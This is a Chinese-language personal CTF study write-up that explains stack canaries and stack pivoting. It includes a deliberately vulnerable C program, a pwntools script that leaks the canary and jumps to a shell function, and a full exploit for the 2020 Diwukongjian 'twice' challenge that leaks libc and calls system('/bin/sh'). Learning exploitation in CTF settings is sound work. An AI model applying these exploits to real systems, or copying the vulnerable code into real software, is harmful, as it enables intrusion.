学习canary&&栈迁移

0x00 前言

刚开始接触canary,先不谈题目中如何利用,只记一下我对它浅显的理解


2020.7.3

回头看了一遍第五空间的pwn题(twice),用了canary和栈迁移的知识,正好整合在一起

学了很长时间,终于搞懂了,最近有考试,等考完详细记录一下。


2020.7.16

终于考完试复现一下这道题,中途电脑坏了拿去修,不过还好盘没坏,什么都没丢,万幸万幸~

0x01 canary

什么是canary呢?

Canary 的本意是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。

这里的canary也具有相似的功能,放在栈底用于检测是否发生栈溢出,它的出现很大程度上增加了栈溢出攻击的难度,并且由于它几乎并不消耗系统资源,所以现在成了 Linux 下保护机制的标配。


0x02 原理

x86栈结构:

image-20200701172055740

主要说一下x86下的canary,x64类似

栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让 shellcode 能够得到执行。

当启用栈保护后,函数开始执行的时候会先往栈底插入 cookie 信息,当函数真正返回的时候会验证 cookie 信息是否合法 (栈帧销毁前测试该值是否被改变),如果不合法就停止程序运行 (栈溢出发生)。

攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode 的执行,避免漏洞利用成功。

0x03 leak canary

之前有个题目比较简单Mary_Morton,存在明显的格式化字符串漏洞,可以泄露canary的值

这里讲一下另外一种方法

为了便于理解,写一个简单的程序自己调一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
system("/bin/sh");
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void vuln() {
char buf[100];
for(int i=0;i<2;i++){
read(0, buf, 0x200);
puts(buf);
}
}
int main(void) {
init();
puts("Hello Hacker!");
vuln();
return 0;
}
1
gcc -m32 -no-pie canary.c -o canary //无PIE保护

编译之后可以运行,输入两次数据结束

职业病,拖进IDA

image-20200701162154035

主要看一下vuln函数,buf是我们开辟的缓冲区,大小70H(十进制112),但是我们只定义了100个大小,为什么会多12字节的大小呢

然后v3很奇怪,源码中并没有定义这个变量,看到最后return,自己和自己异或,很明显做了一次检查,只有两次相等时才能return 0,所以可以知道v3就是canary

再看v3在栈中的位置ebp-C正好符合条件。

即输入100个字符之后就是canary

为了进一步搞清楚泄露canary的原理,可以gdb调试一下

image-20200701163648373

左面是输入了99个’A’,右面输入100个’A’,可以明显看出我画红线位置的不同,其中0x0a是100个A之后的换行符,而buf大小刚好是100

  • 当输入99个A时,加上0x0a的换行标记,正好100个字符占满buf

  • 当输入100个A时,buf刚好被占满,这时0x0a的换行符覆盖掉了后四位字节的最低位(如图所示),由于32位程序中,canary为四个字节,所以0x0a覆盖掉的就是canary的最低位/x00

canary最低位0x00起到截断字符串的作用,在有些函数处理时,会把这个字符当做结束符,即为了防止printf、puts等函数读出它的值,所以说,如果canary真的只靠这个来防御的话,那么只需要覆盖掉0x00,便可以读取它的值

0x04 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python
from pwn import *
context.binary = 'can'
# context.log_level = 'debug'
io = process('./canary')
get_shell=ELF("./canary").sym["getshell"]
#获得getshell的地址
io.recvuntil("Hello Hacker!\n")
payload = "A"*100
io.sendline(payload)
io.recvuntil("A"*100)
Canary = u32(io.recv(4))-0xa #继续接收后四位数据,并减掉0x0a
log.info("Canary:"+hex(Canary))
payload = b"\x90"*100+p32(Canary)+b"\x90"*12+p32(get_shell)
io.send(payload)
io.recv()
io.interactive()

image-20200701170620675

成功~


0x05 栈迁移原理

以32位程序举例,在使用call这个命令,进入一个函数的时候,程序一般情况下会进行三步栈操作:

push eip+4;

push ebp;

mov ebp,esp;

以保护现场,避免执行完函数后堆栈不平衡或者找不到之前的入口地址。

在执行完函数后也会进行一系列对应的操作来还原现场leave;ret;

这边的leave就相当于进入函数栈操作的逆过程。

leave == mov esp,ebp; pop ebp;
ret == pop eip #弹出栈顶数据给eip寄存器

这样如果能够控制栈空间到任意地址,那么我们就能利用ret来控制eip的数据了(栈顶数据)

0x06 栈迁移的利用

栈迁移一般在什么情况下利用呢?

它主要是为了解决栈溢出可以,但溢出空间大小不足的问题(如read函数的字节限制等)

所以我们就要通过控制ebp来绕过限制。

由于ret返回的是栈顶数据,而栈顶地址是由esp寄存器的值决定的,也就是说如果我们控制了

esp寄存器的数据,那么我们也就能够控制ret返回的栈顶数据。

现在我们已经知道了 leave 能够将ebp寄存器的数据mov到esp寄存器中,然而,一开始ebp寄存

器中的值并不是由我们来决定的,重点是接下来的那个pop ebp的操作,该操作将栈中保存的ebp

数据赋值给了ebp寄存器,而我们正好能够控制该部分数据。所以利用思路便成立了。

我们首先将栈中保存ebp数据的地址空间控制为我们想要栈顶地址,再利用两次leave操作mov

esp,ebp;pop ebp;mov esp,ebp;pop ebp;将esp寄存器中的值变成我们想让它成为的值。由

于最后还有一个pop ebp操作多余,该操作将导致esp-4,所以在构造ret的数据时应当考虑到将

数据放到我们构造的esp地址-4的位置。(即栈顶留4位/8位给ebp/rbp)


0x07 2020第五空间 twice

拿2020第五空间的一道pwn题说一下

只存在canary保护,拖入IDA

主函数是这样的

image-20200716122318894

跟进sub_4007A9函数

image-20200716122231147

其实可以看出来,主函数初始化ncount为0,为的是将4007A9循环两次

查看栈情况

image-20200716122755224

输入的s之后88位就是v6,即canary

再看v3,跟进40076D

image-20200716123046878

结合read函数,第一次可以输入89个字符,恰好可以覆盖到canary最低位,所以第一次用来泄露canary和rbp

第二次可以输入112个字符,先算一下,88+8(canary)+8(saved rbp)+8(return addr)=112

显然长度不够,因此第二次输入来构造栈迁移

可以将新栈放在函数刚输入的位置

gdb先调试一下

image-20200716121859353

计算出旧rbp与输入位置差0x70,因此新rbp=leak_rbp-0x70

因此通过两次leave就可以完成新rbp的迁移

0x08 exp

写了挺久的…

主要是考试之前试过能跑的脚本现在不行了,libcseacher搜不到2.23的版本,不明原因,众所周知pwn是门玄学,没办法Ubuntu16的本地库做的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
context.log_level="debug"
context.arch='amd64'
elf=ELF('./pwn1')
sh=process('./pwn1')
libc = ELF("libc-2.23.so")
#本地,ubuntu16.4
#sh=remote("121.36.59.116",9999)

leave_ret=0x0400879 #leave的地址
pop_rdi=0x0400923
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

sh.recvuntil(">")
sh.send('a'*89)
sh.recvuntil("a"*89)
cannay=u64(sh.recv(7).rjust(8,"\x00")) #最后一位用\x00覆盖回去
stack_addr=u64(sh.recv(6).ljust(8,"\x00"))-0x70 #旧rbp -0x70

print "cannry: "+hex(cannay)
print "stack_addr: "+hex(stack_addr)
sh.recvuntil(">")
payload=flat([stack_addr+0x60,pop_rdi,puts_got,puts_plt,0x0400630])
#flat模块能将pattern字符串和地址结合并且转为字节模式,
#返回地址0x400630是start函数,或者可以用main函数地址
payload+='a'*48+p64(cannay)+p64(stack_addr)+p64(leave_ret)
#构造栈迁移
sh.send(payload)
sh.recvuntil("\n")
puts_addr=u64(sh.recv(6).ljust(8,"\x00"))
print "puts_addr: "+hex(puts_addr)

#leak libc
libc_base=puts_addr-libc.sym['puts']
system_addr=libc_base+libc.sym['system']
print "system_addr:"+hex(system_addr)
binsh_a =libc_base + 0x18ce17#"/bin/sh"的偏移地址
#leak again
sh.recvuntil(">")
sh.send('a'*89)
sh.recvuntil("a"*89)
cannay=u64(sh.recv(7).rjust(8,"\x00"))
stack_addr=u64(sh.recv(6).ljust(8,"\x00"))-0x70

print "cannry: "+hex(cannay)
print "stack_addr: "+hex(stack_addr)
sh.recvuntil(">")
payload=flat([stack_addr+0x60,pop_rdi,binsh_a,system_addr,0x0400630])
payload+='a'*48+p64(cannay)+p64(stack_addr)+p64(leave_ret)
sh.send(payload)

sh.interactive()

主要思路是利用第一次read泄露canary和旧rbp

第二次read构造栈迁移,本来想多写点的,但是拿起题真的不知道该咋写了

第一次看确实不好理解,还是要结合前面栈迁移的原理,自己动手做一下

话说张老师已经开始让我写堆了,我却还在栈上纠结..

不说了下一步该学堆了,o(TヘTo)!